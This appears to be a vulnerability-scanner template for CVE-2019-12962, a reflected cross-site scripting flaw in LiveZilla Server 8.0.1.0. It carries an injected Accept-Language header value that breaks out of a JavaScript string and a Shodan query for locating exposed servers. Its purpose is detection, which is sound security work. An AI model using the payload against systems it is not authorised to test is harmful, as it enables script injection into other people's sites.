id: CVE-2019-12962 info: name: LiveZilla Server 8.0.1.0 - Cross-Site Scripting author: Clment Cruchet severity: medium description: | LiveZilla Server 8.0.1.0 is vulnerable to reflected cross-site scripting. reference: - https://www.exploit-db.com/exploits/49669 - https://forums.livezilla.net/index.php?/topic/10984-fg-vd-19-083085087-livezilla-server-are-vulnerable-to-cross-site-scripting-in-admin-panel/ - http://packetstormsecurity.com/files/161867/LiveZilla-Server-8.0.1.0-Cross-Site-Scripting.html - https://nvd.nist.gov/vuln/detail/CVE-2019-12962 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2019-12962 cwe-id: CWE-79 metadata: shodan-query: http.html:LiveZilla verified: true tags: cve,cve2019,livezilla,xss requests: - method: GET path: - '{{BaseURL}}/mobile/index.php' headers: Accept-Language: ';alert(document.domain)//' matchers-condition: and matchers: - type: word part: body words: - "var detectedLanguage = ';alert(document.domain)//';" - type: word part: header words: - "text/html" - type: status status: - 200 # Enhanced by mp on 2022/08/08